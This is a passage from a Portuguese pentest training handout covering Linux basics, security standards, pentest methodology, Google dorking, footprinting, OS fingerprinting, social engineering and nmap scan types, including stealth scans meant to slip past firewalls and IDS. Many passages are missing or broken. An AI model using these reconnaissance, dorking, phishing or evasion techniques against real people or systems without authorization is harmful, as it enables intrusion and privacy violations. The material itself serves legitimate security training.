Observação: Muita atenção ao usar o comando “rm”! Uma vez que os arquivos
e diretórios removidos não podem mais ser recuperados!
Exemplos:
1 # rmdir aula
O comando “cp” serve para fazer cópias de arquivos e diretórios. Perceba que para
lidar com diretórios a opção “-r” ou “-R” tem que ser usada:
Uma opção do comando “cp” muito útil em nosso dia-a-dia é a opção “-p”, que faz
com que a cópia mantenha os “meta-dados” dos arquivos, ou seja, não modifica a
data e hora de criação, seus donos e nem suas permissões. Utilizar como root:
1 # su aluno
2 $ touch teste
3 $ ls -l
4 $ exit
5 # cp -p teste teste2
6 # cp teste teste3
7 # ls -l teste2 teste3
O comando “mv” serve tanto para renomear um arquivo quanto para movê-lo:
Movendo arquivo:
1 # mv teste4 / tmp
Renomeando arquivo:
1 # mv teste teste4
Renomeando diretório:
1 # mv turma matematica
Movendo diretório:
Quem já teve algum contato com o GNU/Linux, mesmo que superficial, deve ter
percebido a presença de vários diretórios (pastas) no sistema. Entretanto, eles estão
organizados seguindo o padrão “POSIX”, com o qual você pode não estar muito
familiarizado. Neste capítulo, vamos conhecer a organização, e explorar a estrutura
de diretórios de um sistema GNU/Linux.
Desde que o GNU/Linux foi criado, muito se tem feito para seguir um padrão em
relação à estrutura de diretórios. O primeiro esforço para padronização de sistemas
de arquivos para o GNU/Linux foi o “FSSTND - Filesystem Standard”, lançado no
ano de 1994.
Cada diretório do sistema tem seus respectivos arquivos que são armazenados con-
forme regras definidas pela “FHS - Filesystem Hierarchy Standard” ou “Hierar-
quia Padrão do Sistema de Arquivos”, que define que tipo de arquivo deve ser
guardado em cada diretório. Isso é muito importante, pois o padrão ajuda a manter
compatibilidade entre as distribuições existentes no mercado, permitindo que qual-
quer software escrito para o GNU/Linux seja executado em qualquer distribuição de-
senvolvida de acordo com os padrões “FHS”.
Atualmente, o ”FHS” está na sua versão 2.3, e é mantido pelo “Free Standard Group",
uma organização sem fins lucrativos formada por grandes empresas como HP, IBM,
RedHat e Dell.
O arquivo pode ser um texto, uma imagem, planilha, etc. Os arquivos devem ser
identificados por nomes para que sejam localizados por quem deseja utilizá-los.
2.3.1 Diretório /
1 # ls -- color /
A opção –color do comando ls serve para deixar colorido a listagem, ex: azul -> dire-
tório branco -> arquivo regular verde -> arquivo executável azul claro -> link simbólico
1 # ls / bin
Esse é um diretório público, sendo assim, os comandos que estão nele podem ser
utilizados por qualquer usuário do sistema. Entre os comandos, estão:
• /bin/ls;
• /bin/cp;
• /bin/mkdir;
• /bin/cat;
1 # ls / boot
1 # ls / dev
Para verificar que seu mouse é reconhecido como um arquivo, tente olhar o conteúdo
do arquivo /dev/input/mice:
Repare que os dados são binários e não é possível ler o arquivo com o comando cat.
Caso seu terminal fique com caracteres estranhos utilize o comando “reset” para
resetar o shell:
1 # reset
1 # od / dev / psaux
1 # ls / etc
Vamos dividir esta linha em “campos”, onde cada campo é separado por : (dois
pontos), então:
O comando more assim como o cat serve para ver o conteúdo de um arquivo que é,
geralmente, texto. A diferença entre o “more” e o “cat” é que o “more” faz uma pausa
a cada tela cheia exibindo uma mensagem --More–", dando uma oportunidade ao
usuário ler a tela.
Aperte enter para ir para a próxima linha ou espaço para ir para a próxima página e
para sair digite q.
Uma alternativa ao uso do comando more seria o uso do comando less, que imple-
menta as mesmas funcionalidades que more e mais algumas, como a possibilidade
de rolar a tela para cima e para o lado quando o texto ocupa mais de oitenta colunas.
A utilização dos comandos less e more se faz de maneira semelhante.
Este arquivo possui as senhas criptografadas dos usuários do sistema. Existe uma
entada no arquivo para cada usuário do sistema com os seguintes campos:
O comando “pwconv” é usado para criar o arquivo shadow a partir do arquivo /etc/-
passwd , enquanto o comando “pwunconv” executa a operação inversa. Execute:
1 # pwunconv
1 # getent passwd
1 # pwconv
1 # ls / lib
Cada kernel têm seus próprios módulos, que ficam em: /lib/modules/<versão do ker-
nel>/kernel Separados por tipos em subdiretórios.
1 # uname -r
1 # ls / media
• hd
• cd
• dvd
• disquete
• pendrive
• câmera digital
1 # ls / mnt
1 # ls / opt
Normalmente, é utilizado por programas proprietários ou que não fazem parte ofici-
almente da distribuição.
1 # ls / sbin
• halt
• ifconfig
• init
• iptables
Os usuários comuns não podem executar comandos do /sbin que alterem o sistema,
apenas alguns para visualização.
EX:
• # /sbin/ifconfig eth0
1 # ls / srv
Diretório para dados de serviços fornecidos pelo sistema, cuja aplicação é de alcance
geral, ou seja, os dados não são específicos de um usuário. Por exemplo:
1 # ls / tmp
Enquanto não for concluído, o arquivo fica registrado em “/tmp”, e, assim que é
finalizado, é encaminhado para o local correto.
No Debian os dados são perdidos a cada reboot, já no CentOS os dados são manti-
dos durante doze dias após seu último acesso.
Altere o valor da variável “TMPTIME” para o número de dias que desejar manter os
dados após o seu último acesso.
1 # ls / usr
O diretório “/usr” contém programas que não são essenciais ao sistema e que se-
guem o padrão GNU/Linux, como, por exemplo, navegadores, gerenciadores de ja-
nelas, etc.
1 # ls / var
• mensagens de e-mail
1 # ls / var / spool
arquivos de log
1 # ls / var / log
1 # ls / proc
Aqui, temos subdiretórios com o nome que corresponde ao “PID - Process ID” de
cada processo.
Dentro deles, vamos encontrar diversos arquivos texto contendo várias informações
sobre o respectivo processo em execução.
É o arquivo que contém a lista do registro ISA direto dos canais em uso da acesso a
memória (DMA).
Os canais de DMA são utilizados apenas por dispositivos de legado (placas ISA, por-
tas paralelas e drives de disquete) para transferir dados diretamente para a memória
RAM, reduzindo desta forma a utilização do processador.
Neste arquivo encontramos informações sobre os endereços das portas I/O (In-
put/Output).
1 # ls / sys
Pode-se dizer que esse diretório é um primo do diretório “/proc”. Dentro do diretório
“/sys” podemos encontrar o quase o mesmo conteúdo do “/proc”, mas de uma forma
bem mais organizada para nós administradores.
Esse diretório está presente desde a versão 2.6 do kernel, ele agrupa informações
sobre os dispositivos instalados, incluindo o tipo, fabricante, capacidade, endereços
usados e assim por diante. Estas informações são geradas automaticamente pelo
kernel e permitem que os serviços responsáveis pela detecção de hardware façam
seu trabalho, configurando impressoras e criando ícones no desktop para acesso ao
pendrive, por exemplo.
1 # ls / home / root
Os diretórios “/root” e “/home” podem estar disponíveis no sistema, mas não pre-
cisam obrigatoriamente possuir este nome. Por exemplo, o diretório “/home” poderia
se chamar “/casa”, que não causaria nenhum impacto na estrutura do sistema.
O comando “find” procura por arquivos/diretórios no disco. Ele pode procurar arqui-
vos pela sua data de modificação, tamanho, etc. O “find”, ao contrário de outros
programas, usa opções longas por meio de um ”-”.
• -name [expressão] :
• -maxdepth [num] :
• -amin [num] :
Procura por arquivos que foram acessados [num] minutos atrás. Caso seja antece-
dido por “-”, procura por arquivos que foram acessados entre [num] minutos atrás e
o momento atual.
1 # find ~ - amin -5
• -atime [num] :
Procura por arquivos que foram acessados [num] dias atrás. Caso seja antecedido
por “-”, procura por arquivos que foram acessados entre [num] dias atrás e a data
atual.
• -uid [num] :
Procura por arquivos que pertençam ao usuário com o “uid 1000” [num].
• -user [nome] :
• -perm [modo] :
• -size [num] :
Procura por arquivos que tenham o tamanho [num]. O tamanho é especificado em by-
tes. Você pode usar os sufixos k, M ou G para representar o tamanho em Quilobytes,
Megabytes ou Gigabytes, respectivamente. O valor de [num] Pode ser antecedido de
“+” ou “-” para especificar um arquivo maior ou menor que [num].
1 # find / - size +1 M
-type [tipo] :
Outros exemplos:
Procura no diretório atual e nos subdiretórios um arquivo com tamanho maior que
1000 kbytes (1Mbyte).:
2.3.19 xargs
Outra forma de procurar por arquivos e/ou diretórios e executar um comando é atra-
vés do comando xargs que obtém como a entrada a saída ok do comando antes do
pipe e envia como stdin do próximo comando, no caso o ls -ld:
1 # ls / | xargs - n1
2 # ls / | xargs - n2
3 # ls / | xargs - n3
Você percebeu que no primeiro comando ele listou o diretório, jogando na tela um
nome de cada vez. O segundo comando fará o mesmo só que com dois nomes na
mesma linha, e o terceiro com 3 nomes.
Exemplo:
Para utilizá-lo, primeiro é necessário criar a sua base de dados usando a seguinte
sintaxe:
1 # uptadedb
Quando esse comando é executado pela primeira vez costuma demorar um pouco.
Isso deve-se a primeira varredura do disco para a criação da primeira base de dados.
Para o comando “locate”, usamos a seguinte sintaxe:
1 # locate howto
3.1 Objetivos
• Confiança em si mesmo.
Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação
Dentro do escopo com relação ao que iremos estudar, os três primeiros tópicos
adequam-se perfeitamente ao que será abordado ao longo do curso. No entanto,
veremos esses aspectos na visão do atacante, aquele que tem por objetivo justa-
mente subverter a segurança.
Quem nunca viu o filme “Tempos Modernos” de Chaplin? Chaplin ilustra muito bem
como era a rotina desses operários.
Nessa fase da história da civilização, o maior ativo é a mão de obra, juntamente com
o capital. Quem tinha o maior número de operários, trabalhando “incansavelmente”,
detinha o poder, pois possuía maior capital, gerado pela produção incessante das
indústrias.
E com isso, começamos a ver, através de uma grande mudança de paradigma, que
a detenção de informações ou conhecimentos, que tinham algum valor, é que define
quem tem o poder nas mãos ou não. E surge, então, a era da informação!
De acordo com o maior estrategista que já existiu, Sun Tzu, se você conhece a si
mesmo e ao seu inimigo, não precisará temer o resultado de mil batalhas. Afinal, se
conhece os estratagemas empregados por atacantes maliciosos, estará muito mais
capacitado para proteger seu principal ativo: a informação.
3.4 Padrões/Normas
Baseada na norma ISO 27001, essa norma trata das boas práticas de segurança
da informação, onde indica uma série de possíveis controles dentro de cada con-
texto da área de segurança. A partir de 2006, tornou-se substituta da norma ISO
17799:2005.
3.4.3 Basileia II
3.4.4 PCI-DSS
A norma Payment Card Industry Data Security Standard, é uma padronização inter-
nacional da área de segurança de informação definida pelo Payment Card Industry
Security Standards Council. Essa norma foi criada para auxiliar as organizações que
processam pagamentos por cartão de crédito na prevenção de fraudes, através de
maior controle dos dados e sua exposição.
3.4.5 ITIL
3.4.6 COBIT
Quanto mais a tecnologia evolui, mais fácil torna-se a operação dos novos sis-
temas e ferramentas. Já vai ao longe o tempo em que era necessário gravar
de cabeça 500 comandos diferentes para utilizar o computador para as tarefas
mais costumeiras e simples do dia a dia. Hoje em dia tudo está ao alcance de
um clique do mouse, e quando não, de um movimento de cabeça, se pensar-
mos nos sistemas de captura de movimentos.
A área de SI possui três pilares básicos com o acréscimo de mais duas, que permitem
a troca segura de informação, desde que nenhum deles seja violado. São eles:
3.6.1 Confidencialidade
Esse pilar é o responsável pelo controle de acesso à informação apenas por aquelas
pessoas ou entidade que tenham permissão compatível com sua função e determi-
nada pelo dono daquela informação.
3.6.2 Integridade
3.6.3 Disponibilidade
Propriedade que define que determinada informação esteja sempre disponível para
o acesso quando necessário, de maneia íntegra e fidedigna. Alguns dos ataques
conhecidos buscam justamente derrubar a disponibilidade, e para algumas empresas
o simples fato de não ter suas informações disponíveis durante determinado período
de tempo, isso pode acarretar prejuízos estrondosos.
3.6.4 Autenticidade
3.6.5 Legalidade
Podemos ver na figura a seguir alguns dos distúrbios mais comuns aos pilares da SI,
vinculados a ataques que visam à área de TI:
• Alagamento
• Raios
• Acessos indevidos
• Desabamentos
• Violação de senhas
Os ataques internos representam por volta de 70aos sistemas e redes. Mesmo que
a maioria das pessoas acreditem que a maior parte dos ataques surjam de fontes
externas, essa é uma maneira errônea de encarar as coisas.
Quando vamos analisar os ataques externos, novamente nos deparamos com a pos-
sibilidade de comprometimentos cujos objetivos estejam vinculados à espionagem
industrial, que apesar de ser ilegal, muitas organizações recorrem a esse expediente
para não ficar para trás, na luta pelo domínio de mercado.
• Exemplo de ameaça:
• Exemplo de vulnerabilidade:
• Exemplo de ataque:
• Portas
• Trancas
• Paredes
• Blindagem
• Guardas
• Câmeras
• Sistemas de alarme
• Biometria
• Criptografia
• Firewall
• Anti-Vírus
• IDS
• IPS
• Proxy
• Anti-Spam
• Implantação de CSIRTs
• Hardening de Servidores
• Análise de Vulnerabilidade
• Teste de Invasão
• Análise de Aplicação
• Perícia Computacional
• Treinamento de Colaboradores
• Auditoria
3.10 Certificações
Sendo que cada ma delas possui um foco diferente, nível de conhecimento diferente
e formas de avaliações diversas.
• CompTIA
Security+
• Cisco Systems
• EC-Council
• GIAC
• ISACA
CISA • CISM
• ISECOM
OPSA • OPST
• Offensive Security
OSCP • OSCE
4.1 Objetivos
4.3.1 Blind
Nessa modalidade o auditor não conhece nada sobre o alvo que irá atacar, porém o
alvo sabe que será atacado e o que será feito durante o teste.
O grande risco desse tipo de teste, é que o alvo pode avisar a equipe de TI e decidi-
rem fazer atualização do sistema, aplicar patchs de correção e segurança. Esse tipo
de pentest é interessante para ter conhecimento de como e quais informações sobre
a organização e sua infraestrutura é possível de um atacante ter acesso.
Nessa modalidade o auditor não conhece nada sobre o alvo, e o alvo não sabe que
será atacado e tão pouco sabe quais testes o auditor irá realizar.
Afinal, em um ambiente real, o atacante não sabe nada inicialmente sobre seu alvo,
e o alvo nunca saberá qual tipo de ataque um cracker pode realizar contra sua infra-
estrutura.
Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que
será atacado e também sabe quais testes serão realizados.
Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que
será atacado, porém, não sabe quais testes serão executados.
4.3.5 Tandem
Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe que
será atacado e o que será feito durante o ataque. Também conhecido como “caixa
de cristal”.
Esse tipo de pen test é bem próximo de uma auditoria, pois ambos estão preparados
e sabem o que vai ser realizado. É o ideal para ser feito periodicamente, monitorando
as vulnerabilidades novas e mudanças feitas na infraestrutura.
4.3.6 Reversal
Nessa modalidade o auditor tem conhecimento total do alvo, porém o alvo não sabe
que será atacado, e tão pouco sabe quais testes serão executados.
Esse formato de teste é ideal para testar a capacidade de resposta e como está o
timing de ação da equipe de resposta a incidentes do alvo.
Um ataque, ou teste de invasão, é composto por uma série de fases, onde em cada
uma determinadas operações são realizadas.
Podemos dizer que essa é a fase abrangente, e a fase seguinte detalha as informa-
ções adquiridas nessa primeira fase.
Qualquer informação que seja vinculado ao alvo é considerada de valor nesse pri-
meiro passo:
• Concorrentes
• Nome de funcionários
• Endereços
• Telefones
• Sites
• Empresas
• Comunidades sociais
4.4.2 Varredura
Nessa fase o atacante busca informações mais detalhadas o alvo, que posam per-
mitir definir seus vetores de ataque e enxergar as possibilidades que podem permitir
ganhar acesso ao sistema, através da exploração de alguma falha encontrada.
Aqui buscamos informações que respondam algumas perguntas, como por exem-
plo:
• Há IDS/IPS na rede?
• Há honeypots na rede?
• Há firewalls na rede?
Aqui o atacante coloca em prática tudo aquilo que planejou a partir das informações
obtidas previamente.
Dependendo de seus vetores de ataque, ele pode realizar uma série de ataques
buscando ganhar acesso ao sistema alvo, como por exemplo:
• Exploração de serviços
Portanto, essa fase, quando realizada durante um teste de invasão, precisa de ex-
tremo cuidado e planejamento para não trazer comprometimentos e prejuízos des-
necessários ao alvo.
Nessa fase final do ataque, o atacante apaga todos os seus rastros, todos os regis-
tros de operações realizadas dentro do sistema comprometido.
Como o pen tester tem autorização para realizar os testes, não é necessário apa-
gar rastros. Isso se torna importante para um pen tester, apenas se quiser testar,
também, a capacidade da equipe de perícia forense e respostas a incidentes de
descobrir o que foi feito e recuperar informações alteradas.
Há vários tipos de ataque possíveis de serem realizados. Podemos dividir tais ata-
ques em dois grandes grupos:
Server Side Attack ou ataque ao servidor foca na tentativa de explorar serviços que
estão em execução em um determinado dispositivo. Normalmente não precisam de
interação do usuário e provê uma Shell remota para o atacante.
Client Side Attacks ou ataques ao cliente foca na tentativa de explorar aplicações que
são executadas no computador e que normalmente precisam de uma interação da
pessoa para que o ataque seja executado.
Nesses casos, o cliente precisa visitar um site, ou abrir um e-mail, ou então abrir um
arquivo que explorará a aplicação que está instalada no computador do cliente.
Para um teste de invasão não ficar “solto” e sem uma sequência lógica coerente,
a comunidade de segurança, através de alguns órgãos, associações, institutos e
pesquisadores, criou uma série de metodologias para servirem como guias básicos
para a correta realização de testes de invasão.
Isso permite uma certa padronização nos testes realizados seguindo uma outra me-
todologia.
• OSSTMM
• ISSAF
• PenTest Frameworks
Nosso treinamento foi feito baseado na metodologia OSSTMM (Open Source Secu-
rity Testing Methodology Manual), e nessa metodologia as premissas para realizar
um teste são:
• Tipo do teste
• Escopo do teste
• O resultado da enumeração
• Margens de erro
• Qualificação do risco
no que foi contratado e acertado, entre o cliente e o pen tester. Aqui definimos tudo,
desde o escopo, ao tipo de teste que será realizado. Aqui também é definido o que
é permitido e o que não é permitido realizar durante o teste.
Aqui reunimos os profissionais que participarão dos testes e lhes passamos todas as
informações pertinentes ao que será realizado.
Essa medida extrema é tomada justamente para evitar qualquer vazamento possível
de informações.
Portanto, tenha sempre um contrato prévio assinado com o cliente, onde serão defi-
nidos os seguintes pontos:
• Equipe de suporte: caso haja alguém para tomar providências caso alguém
ataque tenha efeitos colaterais;
Dentro do que foi acordado, devemos ter o máximo cuidado para não causar compro-
metimentos que tragam algum tipo de prejuízo ao cliente, como a indisponibilidade
de informações vitais para o funcionamento organizacional, por exemplo.
O Google possui diversos recursos que podem ser utilizados durante um teste de
invasão, e justamente por isso é considerada a melhor ferramenta para os hackers,
pois permite acesso a todo e qualquer tipo de informação que se queira. Podemos
usar como exemplo, o recurso de “cache” do Google, onde o mesmo armazena ver-
sões mais antigas de todos os sites que um dia já foram indexados por seus robôs.
Esse recurso permite que tenhamos acesso às páginas que já foram tiradas do ar,
desde que ainda existam na base de dados do Google. Vamos imaginar que em
algum momento da história do site de uma organização, uma informação mais sen-
sível estivesse disponível. Depois de um tempo, o webmaster tendo sido alertado
retirou tal informação do site. No entanto, se a página do site já tiver sido indexada
pelo Google, é possível que mesmo tendo sido alterada, ou retirada, ainda possamos
acessá-la utilizando o recurso de cache do Google.
Como explicado no operador intitle, pode parecer uma tarefa relativamente simples
utilizar o operador inurl sem dar maior atenção ao mesmo. Mas devemos ter em
mente que uma URL é mais complicada do que um simples title, e o funcionamento
do operador inurl pode ser igualmente complexo.
Assim como o operador intitle, inurl também possui um operador companheiro, que é
o allinurl, que funciona de maneira idêntica e de forma restritiva, exibindo resultados
apenas em que todas as strings foram encontradas.
5.2.3 filetype
O Google pesquisa mais do que apenas páginas web. É possível pesquisar muitos
tipos diferentes de arquivos, incluindo PDF (Adobe Portable Document Format) e
Microsoft Office. O operador filetype pode ajudá-lo na busca de tipo de arquivos
específicos. Mais especificamente, podemos utilizar esse operador para pesquisas
de páginas que terminam em uma determinada extensão.
5.2.4 allintext
O operador allintext é talvez o mais simples de usar, pois realiza a função de busca
mais conhecida como: localize o termo no texto da página.
Embora este operador possa parecer genérico para ser utilizado, é de grande ajuda
quando sabe que a string de busca apenas poderá ser encontrada no texto da página.
Utilizar o operador allintext também pode servir como um atalho para "encontrar esta
string em qualquer lugar, exceto no title, URL e links".
5.2.5 site
Apesar de ser tecnicamente uma parte da URL, o endereço (ou nome de domínio)
de um servidor pode ser mais bem pesquisada com o operador site. Site permite que
você procure apenas as páginas que estão hospedadas em um servidor ou domínio
específico.
5.2.6 link
5.2.7 inanchor
Este operador pode ser considerado um companheiro para o operador link, uma vez
que ambos buscam links. O operado inanchor, no entanto, pesquisa a representação
de texto de um link, não o URL atual.
5.2.8 daterange
Você pode usar este operador para localizar páginas indexadas pelo Google em um
determinado intervalo de datas. Toda vez que o Google rastreia uma página, a data
em sua base de dados é alterada. Se o Google localizar alguma página Web obscura,
pode acontecer de indexá-la apenas uma vez e nunca retornar à ela.
Se você achar que suas pesquisas estão entupidas com esses tipos de páginas obs-
curas, você pode removê-las de sua pesquisa (e obter resultados mais atualizados)
através do uso eficaz do operador daterange.
Lembrando que a data deve ser informada no formato do calendário Juliano, infor-
mando o número de dias existentes entre 4713 AC e a data em que se quer buscar.
5.2.9 cache
5.2.10 info
O operador info mostra o resumo das informações de um site e fornece links para
outras pesquisas do Google que podem pertencer a este site. O parâmetro informado
à este operador, deve ser uma URL válida.
5.2.11 related
A partir das tags existentes, podemos encontrar muitas coisas interessantes sem
precisarmos nos preocupar em como desenvolver buscas específicas, utilizando os
operadores do Google, e testá-las até conseguirmos que os filtros corretos funcio-
nem.
GHD ⇒ http://www.exploit-db.com/google-dorks/
Certamente vários resultados retornarão com links onde podemos encontrar nome
completo, endereço, telefone, CPF, identidade e mais algumas informações das pes-
soas que disponibilizaram seus dados na internet. Tendo conhecimento de como
esses dados podem ser utilizados de maneira maliciosa, podemos ter mais consci-
ência ao publicarmos quaisquer informações nossas na internet.
6.1 Objetivos
6.2 Footprint
"Dê-me seis horas para cortar uma árvore, e eu gastarei as primeiras quatro
horas afiando o machado."
Abraham Lincoln
Neste site há pelo menos três informações que um cracker levaria em considera-
ção:
http://cacti.kernel.org/graph_view.php?action=preview
http://www.kernel.org/powered.html
https://registro.br/cgi-bin/whois/
É importante saber que para cada região do mundo inteiro, há organizações res-
ponsáveis pelo registro de domínios, acima das organizações responsáveis pelos
registros em cada país.
Como sabemos, os servidores DNS são responsáveis por traduzir os nomes canô-
nicos de um domínio para o seu respectivo endereço IP. Sendo assim, um servidor
DNS conhece todos servidores que estão acessíveis através da rede pública.
http://www.archive.org
Com isso, podemos encontrar informações que podem ser úteis, principalmente para
ataques de engenharia social, pois encontramos produtos antigos, ex-funcionários,
informações que foram retiradas do site por serem sensíveis e etc.
6.7 Webspiders
Webspiders são programas que navegam automaticamente por websites para co-
letar informações. Pensando no Google, um webspider feito pelo Google navega
pelos links das páginas e alimenta uma base de dados do Google, que é usada para
consultas durante as buscas realizadas pelos usuários.
Vamos a um exemplo:
http://www.linuxforce.com.br/robots.txt
Portanto, os arquivos robots.txt podem revelar para nós informações sobre arquivos
e diretórios que poderíamos não conhecer e até mesmo não estar linkado no site.
http://www.robotstxt.org/orig.html
6.8 Netcraft
Netcraft é uma empresa européia que prove serviços de internet. Dentro de alguns
serviços que ela fornece está a análise de mercado para empresas de web hosting
e servidores web, incluindo detecção do sistema operacional e versão do servidor
web, e em alguns casos, informações sobre uptime do servidor, já que normalmente
esse fator é determinante na escolha de uma empresa de hospedagem de sites.
Para nós, pode ser útil para exibir a versão do sistema operacional e servidor web
que um determinado host está usando, além de manter um histórico das versões que
o mesmo host já usou anteriormente.
http://www.netcraft.com
Essas servem para entendermos melhor como a organização trabalha, se possui ou-
tros ramos de atividades, organizações “irmãs” e parcerias. Com tais informações em
mãos, e um melhor conhecimento da estrutura organizacional, podemos, inclusive,
realizar ataques de engenharia social mais eficazes.
O Google nos fornece alguns operadores que nos auxiliam nessa busca, e que já
estudamos anteriormente. São eles:
• info
• link
• related
Porém, podemos usar um e-mail para obter informações sobre o host da pessoa,
quando esse não é de conhecimento do atacante e precisa ser descoberto, pois é
um possível alvo.
De acordo com a Rfc 2821 / 2822 , temos os seguintes campos presentes no cabe-
çalho de um e-mail:
Campos de origem:
Campos de destino:
• “Cc:” - Carbon Copy – receberão uma cópia da mensagem, com o e- mail visível
para todos
• “Bcc:” - Blind Carbon Copy – receberão uma cópia da mensagem, sem ter o
e-mail visível para todos
Campos de identificação:
Campos de informação:
Campos de Rastreamento:
O campo que interessa a nós é o campo “Received:”, que contém informações sobre
o endereço IP de onde a mensagem de correio eletrônico partiu.
6.11 Fingerprint
mas da pilha TCP/IP e verificando características únicas que permitem que o sistema
alvo seja identificado.
Só depois que isso for feito, poderão ser escolhidas as melhores ferramentas para
explorar o sistema.
Para que o fingerprint apresente resultados confiáveis são necessárias análises com-
plexas, como:
Para esse tipo de operação, utilizamos a ferramenta p0f, que permite “farejarmos” os
pacotes que trafegam na rede.
Com o parâmetro -o, dizemos para o p0f armazenar tudo o que for capturado em um
arquivo de saída, com nome definido por nós.
O risco desse tipo de fingerprint, é que se o alvo estiver com um firewall bem con-
figurado e um IDS/IPS, nosso acesso pode ser logado em seu sistema e pode ser
difícil que consigamos muitas informações.
Duas ferramentas que podemos utilizar em um fingerprint ativo são nmap e xprobe2,
além, obviamente, dos comandos ping e traceroute, só para citarmos dois comandos
básicos.
A informação importante está no campo TTL (Time To Live). A maioria dos sistemas
operacionais se diferencia pelo valor retornado de TTL. Veja a lista abaixo:
• Cyclades - Normalmente 30
• Linux - Normalmente 64
Com o traceroute podemos ver que temos 13 saltos, até que os pacotes são interrom-
pidos, o que pode representar um firewall ou algo do tipo que descarte os pacotes.
Agora que sabemos por quantos roteadores estamos passando, podemos usar o
comando ping para descobrir o TTL do site.
Somando a quantidade de saltos (13) com o valor de ttl (47), temos 60. O mais
próximo de 60 é 64, que representa o Linux. A partir daí, podemos concluir que o
sistema operacional utilizado no servidor onde o site está hospedado é Linux.
Percebe-se que quanto maior o número de informações que passamos para o xprobe2,
maior é a precisão no reconhecimento do Sistema Operacional do alvo.
6.14 Contramedidas
Podemos considerar a engenharia social como a arte de enganar pessoas para con-
seguir informações, as quais não deviam ter acesso.
Uma empresa pode ter os melhores produtos de segurança que o dinheiro pode
proporcionar. Porém, o fator humano é, em geral, o ponto mais fraco da segurança.
• Disfarces
• Representações
Exemplos:
• E-mails falsos
• WebSites falsos
O objetivos por detrás dos ataques de insiders podem ser vários, desde descobrir
quanto o colega do lado ganha, até conseguir acesso a informações confidenciais
de um projeto novo para vender ao concorrente de seu empregador.
Dentro de empresas, o roubo de credenciais, para acessar informações que não es-
tão acessíveis a todos, é um fato corriqueiro, que pode passar pelo simples shoulder
surfing à clonagem de ID Card.
Na prática do Phishing surgem artimanhas cada vez mais sofisticadas para "pes-
car"(do inglês fish) as informações sigilosas dos usuários.
Exemplos de serviços:
• migre.me
• okm.me
• digi.to
Isso pode ser utilizado para ocultar URL com parâmetros ou tags maliciosos, como
tags de javascript para ataques de XSS, por exemplo.
Todos os dias são jogados no lixo de empresas vários documentos por terem perdido
sua utilidade. Os atacantes podem aproveitar essas informações e usá-las para um
ataque.
7.3.6 Persuasão
A melhor referência que atualmente temos sobre engenharia social, é o site do pro-
jeto Social Engineering Framework. Para maiores informações acessem:
http://www.social-engineer.org/framework/Social_Engineering_Framework
O ’ping’ é um ICMP echo request (tipo 8) e o ’pong’ é um ICMP echo reply (tipo 0).
Há uma infinidade de icmp types, que podem ser consultados no site da iana.
No caso do nmap, se utilizarmos a opção Ping Scan (-sP), observamos que mesmo
se uma máquina estiver bloqueando pacotes ICMP, ele poderá listá-la como ativa,
pois ele também envia pacotes TCP para algumas portas, como por exemplo a porta
80.
tipo ”SYN”.
O servidor, que está apto a atender novas requisições responde então com um data-
grama TCP contendo uma flag do tipo ”SYN”+ ”ACK”.
De acordo com a RFC 793, que define os parâmetros para o protocolo TCP, toda
porta aberta deve responder com a flag ”SYN+ACK”, e toda porta fechada deve res-
ponder com uma flag ”RST”.
Perceba que as respostas são, SA, que representa um ”SYN + ACK”, e um RA, que
representa um ”Reset + ACK”, a resposta padrão para portas fechadas.
8.3 NMAP
Nmap pode ser considerada uma das ferramentas mais completas para realizar var-
reduras em redes, pois possui um número imenso de opções, permitindo explorar-
Essa ferramenta possui, inclusive, opções que permitem burlar sistemas de proteção,
como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras não
permitidas.
8.4.1 -sP
Ping scan: Algumas vezes é necessário saber se um determinado host ou rede está
no ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinado
host ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes
ICMP “echo request”, então envia um pacote TCP ACK para a porta 80 (default) e
caso receba RST o alvo está ativo. A terceira técnica envia um pacote SYN e espera
um RST ou SYN-ACK.
8.4.2 -sV
Version detection: Após as portas TCP e/ou UDP serem descobertas por algum
dos métodos, o nmap irá determinar qual o serviço está rodando atualmente. O
arquivo nmap-service-probes é utilizado para determinar tipos de protocolos, nome
da aplicação, número da versão e outros detalhes.
8.4.3 -sS
TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma
conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão
real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta está
aberta, enquanto que um RST-ACK como resposta indica que a porta está fechada. A
vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.
8.4.4 -sT
TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a cha-
mada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso
a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos,
porém fácil de ser detectado.
8.4.5 -sU
UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em
um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do
host. Se for recebida uma mensagem ICMP “port unreachable” então a porta está
fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou
a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.
Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pa-
cotes SYN’s em portas restritas, então é necessário utilizar métodos avançados para
atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, en-
quanto portas abertas ignoram esses pacotes. (Esse método não funciona com a
plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN,
enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH são
utilizados nos pacotes FIN que é enviado ao alvo. (Esse método não funciona com a
plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, en-
quanto portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacote
FIN. (Esse método não funciona com a plataforma Windows, uma vez que a Micro-
soft não seguiu RFC 973)
8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
• Polite (-T2) tem o significado para facilitar a carga na rede e reduzir as chances
de travar a máquina. Ele serializa os testes e espera no mínimo 0.4 segundos
entre eles.
• Insane (-T5) é somente adequando para redes muito rápidas ou onde você não
se importa em perder algumas informações. Nesta opção o timeout dos hosts
